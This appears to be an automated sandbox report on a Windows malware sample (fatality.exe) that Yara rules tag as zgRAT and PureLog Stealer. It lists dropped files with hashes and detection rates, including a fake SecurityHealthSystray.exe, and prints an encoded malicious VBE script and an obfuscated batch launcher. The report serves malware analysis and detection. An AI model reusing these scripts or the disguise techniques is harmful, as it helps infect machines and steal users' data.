Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\LTranRbW.log

Download File

Process:	C:\blockcomSession\containerReview.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33792
Entropy (8bit):	5.541771649974822
Encrypted:	false
SSDEEP:	768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
MD5:	2D6975FD1CC3774916D8FF75C449EE7B
SHA1:	0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
SHA-256:	75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
SHA-512:	6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 38%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....\|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...\|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\PRRjZxCV.log

Download File

Process:	C:\blockcomSession\containerReview.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\RLUzQxgL.log

Download File

Process:	C:\blockcomSession\containerReview.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	23552
Entropy (8bit):	5.519109060441589
Encrypted:	false
SSDEEP:	384:RlLUkmZJzLSTbmzQ0VeUfYtjdrrE2VMRSKOpRP07PUbTr4e16AKrl+7T:RlYZnV7YtjhrfMcKOpjb/9odg7T
MD5:	0B2AFABFAF0DD55AD21AC76FBF03B8A0
SHA1:	6BB6ED679B8BEDD26FDEB799849FB021F92E2E09
SHA-256:	DD4560987BD87EF3E6E8FAE220BA22AA08812E9743352523C846553BD99E4254
SHA-512:	D5125AD4A28CFA2E1F2C1D2A7ABF74C851A5FB5ECB9E27ECECAF1473F10254C7F3B0EEDA39337BD9D1BEFE0596E27C9195AD26EDF34538972A312179D211BDDA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....T...........s... ........@.. ..............................vX....@.................................Xs..S.................................................................................... ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............Z..............@..B.................s......H.......PO...$...........N......................................................................................................................................................................6...GN..n.....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\RUDRugHQ.log

Download File

Process:	C:\blockcomSession\containerReview.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	5.8769270258874755
Encrypted:	false
SSDEEP:	1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
MD5:	E9CE850DB4350471A62CC24ACB83E859
SHA1:	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
SHA-256:	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
SHA-512:	9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Users\user\Desktop\VquIdqjl.log

Download File

Process:	C:\blockcomSession\mQBLhXIPAJ.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	23552
Entropy (8bit):	5.519109060441589
Encrypted:	false
SSDEEP:	384:RlLUkmZJzLSTbmzQ0VeUfYtjdrrE2VMRSKOpRP07PUbTr4e16AKrl+7T:RlYZnV7YtjhrfMcKOpjb/9odg7T
MD5:	0B2AFABFAF0DD55AD21AC76FBF03B8A0
SHA1:	6BB6ED679B8BEDD26FDEB799849FB021F92E2E09
SHA-256:	DD4560987BD87EF3E6E8FAE220BA22AA08812E9743352523C846553BD99E4254
SHA-512:	D5125AD4A28CFA2E1F2C1D2A7ABF74C851A5FB5ECB9E27ECECAF1473F10254C7F3B0EEDA39337BD9D1BEFE0596E27C9195AD26EDF34538972A312179D211BDDA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....T...........s... ........@.. ..............................vX....@.................................Xs..S.................................................................................... ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............Z..............@..B.................s......H.......PO...$...........N......................................................................................................................................................................6...GN..n.....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\eTDxNkzS.log

Download File

Process:	C:\blockcomSession\mQBLhXIPAJ.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33792
Entropy (8bit):	5.541771649974822
Encrypted:	false
SSDEEP:	768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
MD5:	2D6975FD1CC3774916D8FF75C449EE7B
SHA1:	0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
SHA-256:	75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
SHA-512:	6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 38%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....\|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...\|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\jPEOVQoM.log

Download File

Process:	C:\blockcomSession\mQBLhXIPAJ.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	5.8769270258874755
Encrypted:	false
SSDEEP:	1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
MD5:	E9CE850DB4350471A62CC24ACB83E859
SHA1:	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
SHA-256:	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
SHA-512:	9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Users\user\Desktop\nCWNxMEA.log

Download File

Process:	C:\blockcomSession\mQBLhXIPAJ.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	5.645950918301459
Encrypted:	false
SSDEEP:	384:fRDtCEPOaiRBCSzHADW8S3YVDOy6Vgh/UaFTKqrPd62GTB7ZyTG4sTaG:fR/IMEACDoJ86/UoTKqZwJ8TG4
MD5:	E84DCD8370FAC91DE71DEF8DCF09BFEC
SHA1:	2E73453750A36FD3611D5007BBB26A39DDF5F190
SHA-256:	DD7AC164E789CAD96D30930EFE9BBA99698473EDEA38252C2C0EA44043FB1DB5
SHA-512:	77461BA74518E6AE9572EC916499058F45D0576535C20FAE74D0CB904DC79ED668B94885BFC38E24D5DEEAE7FBEF79B768216F1422B2178277DBD3209FC2AFD9
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 29%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.../6.d...........!.....x............... ........@.. ..............................<.....@....................................W.................................................................................... ............... ..H............text...4v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B........................H........e..L0...........c......................................................................................................................................................................o.<.....r%.2.D..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\ucFnGTXv.log

Download File

Process:	C:\blockcomSession\mQBLhXIPAJ.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\yCQlabwB.log

Download File

Process:	C:\blockcomSession\containerReview.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	5.645950918301459
Encrypted:	false
SSDEEP:	384:fRDtCEPOaiRBCSzHADW8S3YVDOy6Vgh/UaFTKqrPd62GTB7ZyTG4sTaG:fR/IMEACDoJ86/UoTKqZwJ8TG4
MD5:	E84DCD8370FAC91DE71DEF8DCF09BFEC
SHA1:	2E73453750A36FD3611D5007BBB26A39DDF5F190
SHA-256:	DD7AC164E789CAD96D30930EFE9BBA99698473EDEA38252C2C0EA44043FB1DB5
SHA-512:	77461BA74518E6AE9572EC916499058F45D0576535C20FAE74D0CB904DC79ED668B94885BFC38E24D5DEEAE7FBEF79B768216F1422B2178277DBD3209FC2AFD9
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 29%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.../6.d...........!.....x............... ........@.. ..............................<.....@....................................W.................................................................................... ............... ..H............text...4v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B........................H........e..L0...........c......................................................................................................................................................................o.<.....r%.2.D..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Windows\System32\CSCBCEC8111DA4C46C5BB72BE8163F3D647.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	1224
Entropy (8bit):	4.435108676655666
Encrypted:	false
SSDEEP:	24:OBxOysuZhN7jSjRzPNnqNdt4+lEbNFjMyi07:COulajfqTSfbNtme
MD5:	931E1E72E561761F8A74F57989D1EA0A
SHA1:	B66268B9D02EC855EB91A5018C43049B4458AB16
SHA-256:	093A39E3AB8A9732806E0DA9133B14BF5C5B9C7403C3169ABDAD7CECFF341A53
SHA-512:	1D05A9BB5FA990F83BE88361D0CAC286AC8B1A2A010DB2D3C5812FB507663F7C09AE4CADE772502011883A549F5B4E18B20ACF3FE5462901B40ABCC248C98770
Malicious:	false
Preview:	.... ...........................\|...<...............0...........\|.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...T.....I.n.t.e.r.n.a.l.N.a.m.e...S.e.c.u.r.i.t.y.H.e.a.l.t.h.S.y.s.t.r.a.y...e.x.e...(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...\.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...S.e.c.u.r.i.t.y.H.e.a.l.t.h.S.y.s.t.r.a.y...e.x.e...4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0....................................<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">.. <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>.. <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">.. <securi

C:\Windows\System32\SecurityHealthSystray.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	3.9511493830697266
Encrypted:	false
SSDEEP:	48:6bprPtxM7Jt8Bs3FJsdcV4MKe271d4A2UvqBHOOulajfqXSfbNtm:yPwPc+Vx9MkUvkocjRzNt
MD5:	ADE6A18F90D238D56E4B938C8A0D5BAB
SHA1:	F90DA0489CFDF8BCF10B2FB4638AD0C39310B296
SHA-256:	E7165E9F9DF4E4BA98643FC692FAC7F5B0E50C3FF54B48C1EF4E522CDE414295
SHA-512:	C6D24BD0BB93CF42471D079ED5E30490EF04D73417D25AF87F6BCCF5D52E418E6284594D1919F69F1CFF897B08D1B6E8BAE2AB43A238DD798301F5628A904A4E
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......g.............................'... ...@....@.. ....................................@.................................L'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......(!..$.............................................................(.....0..!.......r...pre..p.{....(....(....&..&......................0..........ri..p(....&..&......................0..K.......s.......}...........s....s....(....~....-........s.........~....s....(......(....*.BSJB............v4.0.30319......l.......#~..@.......#Strings....4.......#US.........#GUID....... ...#Blob...........WU........%3................................................................

C:\blockcomSession\R3z0peym99fhJdrKbUwEGrQMoM2HpnSPGrE0X0k2hc.bat

Download File

Process:	C:\Users\user\Desktop\fatality.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	89
Entropy (8bit):	5.014619947625862
Encrypted:	false
SSDEEP:	3:xDGTLz6PGKvAKa6YonqQILiM0XESLI3i9A:xDIz6PG0La6zILiMr4IS9A
MD5:	DE5B4FDE5BC10D0F76A55EB9D249AB56
SHA1:	751938B6AB03340842B429805FD2DA1AA0D8C964
SHA-256:	009AA3F866391C87BD840EFB9B6B4EB33FC4DCB625CD23E436D0C9383E033F0F
SHA-512:	58F02657DB363B742C6AEE66CCD5A6B279280E2DD09D7394B7B9907CA2CD005CD67EE88CA98D533605E30608FC61ABC6F51F7D3BE4A3813D7414D280B6F16A1F
Malicious:	false
Preview:	%ENrfyRjMcxlV%%CWcjcFQ%..%VaremYySQf%"C:\blockcomSession/containerReview.exe"%VRGeLHaFaS%

C:\blockcomSession\RezYUes00TmmVGwINjr2qWMSbF3Etb9Bt2Ra62zGWDtewTBc.vbe

Download File

Process:	C:\Users\user\Desktop\fatality.exe
File Type:	data
Category:	dropped
Size (bytes):	236
Entropy (8bit):	5.863135001723359
Encrypted:	false
SSDEEP:	6:G/kgwqK+NkLzWbHa/JUrFnBaORbM5nCeHWfwtqbcl3TjW67:G/kBMCzWLauhBaORbQCmWYtqbclT667
MD5:	D2DD350044CE1FE408A44A036A7E6A0D
SHA1:	3597E45DEB69F4AA4749855E9ED452A39A9C7D42
SHA-256:	487BFE07ABFF347481F10C648717AAB8008C7606C026B920358544F85C25E1B2
SHA-512:	81147D83DC5FFD1ADB10ADD8486F6DAC65DF0E7C579F8244EF8F3D6F646CED97FAD3F55A178CED9B60F5F23BB77A0E29BCCB22651280A9EAE135976AF71C366A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	#@~^0wAAAA==j.Y~q/4?t.V^~',Z.+mYn6(L+1O`r.?1.rwDRUtnVsE@#@&.U^DbwO UV+n2vFT!ZT@#@&U+DP.ktU4+^V~',Z.nmY+}8L.mYvE.?1DbwORj4.VsJ*@#@&q/4j4+Vs "EUPr/=z8^W13mK:Un/kkGxJz]f.!w.z:O,04B[Dn4`h3M.}tW\ _2xUn!.A!(TVyt^R(CDJS,!BP0mVknWUMAAA==^#~@.

C:\blockcomSession\containerReview.exe

Download File

Process:	C:\Users\user\Desktop\fatality.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2006016
Entropy (8bit):	7.565400810273061
Encrypted:	false
SSDEEP:	24576:Ens6R8MzM9PKio0d/wAJqc47Z9CN1rgtq1DBukkM3vCRj8Joo4ytx605H3uG2nkZ:EaocGZcrgtq1NVkMfko4u6EL29qN
MD5:	F568E43BC473CD8CEB2553C58194DF61
SHA1:	14C0FFF25EDFD186DAB91EE6BCC94450C9BED84D
SHA-256:	C91375814E8A5BB71736CE61FA429BC7B98A2B7B2A254B9967C51F3FCCFACD52
SHA-512:	47CF66CE90FECD147077C72DC3F06DB2199B9BC96E887915D6B0D4BFEA7577D60A7345DA6E5BC59967D02528FBDF6C8BF86233261338F782B9185C890FBC400E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\blockcomSession\containerReview.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\blockcomSession\containerReview.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\blockcomSession\containerReview.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\blockcomSession\containerReview.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\blockcomSession\containerReview.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\blockcomSession\containerReview.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f................................. ........@.. ....................................@....................................K....... ............................................................................ ............... ..H............text...$.... ...................... ..`.rsrc... ...........................@....reloc..............................@..B........................H.........................\...M........................................0..........(.... ........8........E...........N...)...8%...(.... ....~p...{c...9....& ....8....(.... ....~p...{y...:....& ....8....(.... ....~p...{....9....& ....8y......0.......... ........8........E....1...............V...8,.......~....(E...~....(I... ....?.... ....8.......... ....~p...{m...:....& ....8....~....(=... .... .... ....s....~....(A....... ....~p...{....9Q...& ....8F...r...ps....z*~....:..

C:\blockcomSession\d81cfa058c78b8

Download File

Process:	C:\blockcomSession\containerReview.exe
File Type:	ASCII text, with very long lines (682), with no line terminators
Category:	dropped
Size (bytes):	682
Entropy (8bit):	5.884418242643272
Encrypted:	false
SSDEEP:	12:P8CWavAilZBJ9McPtx+frppwK3DoMThR1OgNaox6WBVn+ziyVsqAM:P8C9jBJ9MwCx3DoMThR1OgrkAZyVaM
MD5:	F89357C623B432B41B879DB7EDC6CE66
SHA1:	983F2C8BF1EB0B8A3C459F518EC03BC3B6DE820B
SHA-256:	A13FD56225F8982E943378D3810FCE8C4150432966635A016430F0D00740C06B
SHA-512:	BD7D38ECCC025598F9C8227912D483BD011F711360FD52C7BCF10FE8AAEA81B7F3F0A863DFEF7240D65FFD9355C37BC10AC86D72F2904E3DC831A40CFBBF2545
Malicious:	false
Preview:	8GIJuOhYhsslTTl7hrJXsBbgMfiYQz9DJVFqgJ5EAJFjjmmQ9IBXSd77pl6OpIHrspc8N5bYvFXj617j3RYHymupXIA4MrY1BY04KoCErmmNGYAyoWVXt92G4xkF5hMEqfhhACZOOUaMAhi8HMPzVBHBgt9XD7JJahgl1dxl7GIZjqGWOm8tRWspXfBQCCLRKRvcA7HoYn1O2scznnIb8a1Ey1NVbhj550OR5oWQfUUoeewpCLnZ3uTuZrnItvM0E6TCdK48R26oFNjUFiSP4JCLhe2NANhtHejiKuL1QoIAyopMITDKc6653Ie9Sr7DUMglnAJVWa9PABX3zpFrJWRLhooCPMjjrEplHEjHJryB7r42vlKmlP385VD8VHGK1Zi6VvvuG7ichPN0uwRoC68bKrqvAkwCloJiJ8g90ZgnrbapINOizcH5bHvoF9ugLg03FprwQRynZUttQAnxWNMJgOGCN240oAcLlhkcgbSioefGXBYEV6J7TqX1ipjYW78Z2iItZLR44nfCsAoLdzes0e14Kt3124MqfFOz3ppKpPCqLUIiAY4gcQjXqOjqRZBAbygmvzRyKUCkbLszkV0eApOPg0IpG83PNCOWyfwLGFWHO85fftF5jhAwkQG5rmsMbwXZ6WBFjpY4TGBh4mJW27qqCcvhY1deXJqblg

C:\blockcomSession\f71eea7c943fb4

Download File

Process:	C:\blockcomSession\containerReview.exe
File Type:	ASCII text, with very long lines (332), with no line terminators
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.8335759852953055
Encrypted:	false
SSDEEP:	6:ONpApthSfF9yTn4StUV3QXw1APIwRacELTzrx08ZIftzpE8dicISqU8fvI:wpAJoF9yEStUV3ofxRaljZyVdicbv9
MD5:	6380CB1F24A7D1FD02B9F6987C3EB779
SHA1:	4A653C30F23D5087CD481F85358DC7D29149C31A
SHA-256:	FA1DE9ABD89D952CC8CC84074CF593AA1FF340A852BE8C3314D2B495D9257095
SHA-512:	2ABAB82B49BA10FEA484D54BF374E680C33CB49A5AEB8351AC84DB80605FA13CEEFFDA27D2F5AFD331A94BDD7BAF74B736E1D7FF6BD1030E8CAF33DA39921C06
Malicious:	false
Preview:	QqGxVf4GiMycKu1P2Ut6QrWWpWN770pu3znAABNdhKLsdqJgt6nxhMDiUuI8R7IsgDjVH0P1HQZGgo28NrNAN1MrvEqQ2OLjCcLZHxZ2rvqRw7Cp1JuktHeo01jCK982EzDDcc0ZRUTbL55yCAYsdl048gjQNXssxyN638NYTVTYyDd56vAJkPYd9JF53kL4mkoWs85Dx9ZISbF4DnUcXiIhZu7t3ResJYwOZGN706Wl0PLiDK2QQthDcG77BLKger93o1f6aWmaMgrJiYqsYOcZ1svSJP6owzGJPS3Mo603GG15YxZmfbHPOkB6FNwKZ7oWai3QedDc

C:\blockcomSession\mQBLhXIPAJ.exe

Download File

Process:	C:\blockcomSession\containerReview.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2006016
Entropy (8bit):	7.565400810273061
Encrypted:	false
SSDEEP:	24576:Ens6R8MzM9PKio0d/wAJqc47Z9CN1rgtq1DBukkM3vCRj8Joo4ytx605H3uG2nkZ:EaocGZcrgtq1NVkMfko4u6EL29qN
MD5:	F568E43BC473CD8CEB2553C58194DF61
SHA1:	14C0FFF25EDFD186DAB91EE6BCC94450C9BED84D
SHA-256:	C91375814E8A5BB71736CE61FA429BC7B98A2B7B2A254B9967C51F3FCCFACD52
SHA-512:	47CF66CE90FECD147077C72DC3F06DB2199B9BC96E887915D6B0D4BFEA7577D60A7345DA6E5BC59967D02528FBDF6C8BF86233261338F782B9185C890FBC400E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f................................. ........@.. ....................................@....................................K....... ............................................................................ ............... ..H............text...$.... ...................... ..`.rsrc... ...........................@....reloc..............................@..B........................H.........................\...M........................................0..........(.... ........8........E...........N...)...8%...(.... ....~p...{c...9....& ....8....(.... ....~p...{y...:....& ....8....(.... ....~p...{....9....& ....8y......0.......... ........8........E....1...............V...8,.......~....(E...~....(I... ....?.... ....8.......... ....~p...{m...:....& ....8....~....(=... .... .... ....s....~....(A....... ....~p...{....9Q...& ....8F...r...ps....z*~....:..

\Device\Null

Download File

Process:	C:\Windows\System32\w32tm.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	151
Entropy (8bit):	4.878512534301145
Encrypted:	false
SSDEEP:	3:VLV993J+miJWEoJ8FXAQvdXvUQdAXaNvpGTNvj:Vx993DEUpaUX
MD5:	2F989F7A3443C4A62D25BBA86BA1C41E
SHA1:	41C12A7F341CF9580BD0C524A06B0D8C8E60C542
SHA-256:	863DEBEB31D47C00BE3921205694F171ECC4F5A21B90103F574819F5659CD287
SHA-512:	ACA7992031333316AFB02CCDD1E33E23EBB74F3270B2FE69D6D4F377B75E23DB9FB6881DDDC20616F74390B945F5E5BEFA19F19074FC5A45879701EB97780E3B
Malicious:	false
Preview:	Tracking localhost [[::1]:123]..Collecting 2 samples..The current time is 13/01/2025 08:15:59..08:15:59, error: 0x80072746.08:16:04, error: 0x80072746.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.783232715391711
